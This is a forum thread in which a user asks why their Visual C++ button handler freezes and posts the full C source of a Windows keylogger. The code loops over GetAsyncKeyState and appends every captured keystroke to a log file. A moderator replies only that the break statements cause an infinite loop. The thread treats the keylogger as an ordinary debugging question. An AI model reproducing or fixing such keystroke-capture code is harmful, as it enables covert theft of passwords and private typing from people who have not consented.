Jump to content

[Help]My aplication crash ( freeze )

- - - - -

  • Please log in to reply
1 reply to this topic

#1
av01d3r

av01d3r

    Newbie

  • Members
  • Pip
  • 2 posts
someone please help me
I make a aplication that if debug and I click the button my software will crash ( freeze )
software I created using Visual C + + 2010 CLR. code in my button is start(); that is contained in the file header
contents on the header file is

#include <windows.h>


#include <winuser.h>




int start();



int start()


{


    short character;


    while(1)


    {


                     


    for(character=8;character<=222;character++)


    {


        if(GetAsyncKeyState(character)==-32767)


        {   


                             


            FILE *file;


            file=fopen("logfile.txt","a+");


            if(file==NULL)


            {


                return 1;


            }            


            if(file!=NULL)


            {        


                if((character>=39)&&(character<=64))


                {


                    fputc(character,file);


                    fclose(file);


                    break;


                }        


                else if((character>64)&&(character<91))


                {


                    character+=32;


                    fputc(character,file);


                    fclose(file);


                    break;


                }


                else


                { 


                switch(character)


                {


                    case VK_SPACE:


                        fputc(' ',file);


                        fclose(file);


                        break;    


                    case VK_SHIFT:


                        fputs("[SHIFT]",file);


                        fclose(file);


                        break;                                            


                    case VK_RETURN:


                        fputs("\n[ENTER]",file);


                        fclose(file);


                        break;


                    case VK_BACK:


                        fputs("[BACKSPACE]",file);


                        fclose(file);


                        break;


                    case VK_TAB:


                        fputs("[TAB]",file);


                        fclose(file);


                        break;


                    case VK_CONTROL:


                        fputs("[CTRL]",file);


                        fclose(file);


                        break;    


                    case VK_DELETE:


                        fputs("[DEL]",file);


                        fclose(file);


                        break;


                    case VK_OEM_1:


                        fputs("[;:]",file);


                        fclose(file);


                        break;


                    case VK_OEM_2:


                        fputs("[/?]",file);


                        fclose(file);


                        break;


                    case VK_OEM_3:


                        fputs("[`~]",file);


                        fclose(file);


                        break;


                    case VK_OEM_4:


                        fputs("[ [{ ]",file);


                        fclose(file);


                        break;


                    case VK_OEM_5:


                        fputs("[\\|]",file);


                        fclose(file);


                        break;                                


                    case VK_OEM_6:


                        fputs("[ ]} ]",file);


                        fclose(file);


                        break;


                    case VK_OEM_7:


                        fputs("['\"]",file);


                        fclose(file);


                        break;


                    case VK_OEM_PLUS:


                        fputc('+',file);


                        fclose(file);


                        break;


                    case VK_OEM_COMMA:


                        fputc(',',file);


                        fclose(file);


                        break;


                    case VK_OEM_MINUS:


                        fputc('-',file);


                        fclose(file);


                        break;


                    case VK_OEM_PERIOD:


                        fputc('.',file);


                        fclose(file);


                        break;


                    case VK_NUMPAD0:


                        fputc('0',file);


                        fclose(file);


                        break;


                    case VK_NUMPAD1:


                        fputc('1',file);


                        fclose(file);


                        break;


                    case VK_NUMPAD2:


                        fputc('2',file);


                        fclose(file);


                        break;


                    case VK_NUMPAD3:


                        fputc('3',file);


                        fclose(file);


                        break;


                    case VK_NUMPAD4:


                        fputc('4',file);


                        fclose(file);


                        break;


                    case VK_NUMPAD5:


                        fputc('5',file);


                        fclose(file);


                        break;


                    case VK_NUMPAD6:


                        fputc('6',file);


                        fclose(file);


                        break;


                    case VK_NUMPAD7:


                        fputc('7',file);


                        fclose(file);


                        break;


                    case VK_NUMPAD8:


                        fputc('8',file);


                        fclose(file);


                        break;


                    case VK_NUMPAD9:


                        fputc('9',file);


                        fclose(file);


                        break;


                    case VK_CAPITAL:


                        fputs("[CAPS LOCK]",file);


                        fclose(file);


                        break;


                    default:


                        fclose(file);


                        break;


                        }        


                    }    


                }        


            }    


        }                               


    }                            


}                                                 

please help me
sorry if my English is bad because I'm Indonesian

#2
WingedPanther

WingedPanther

    A spammer's worst nightmare

  • Moderators
  • 16,831 posts
  • Location:Upstate, South Carolina
  • Programming Language:C, C++, PL/SQL, Delphi/Object Pascal, Pascal, Transact-SQL, Others
  • Learning:Java, C#, PHP, JavaScript, Lisp, Fortran, Haskell, Others
The break statements in your if statements are breaking you out of the for loop, which then drops you into the while loop which restarts everything again. You have an infinite loop.
Programming is a branch of mathematics.
My CodeCall Blog | My Personal Blog




1 user(s) are reading this topic

0 members, 1 guests, 0 anonymous users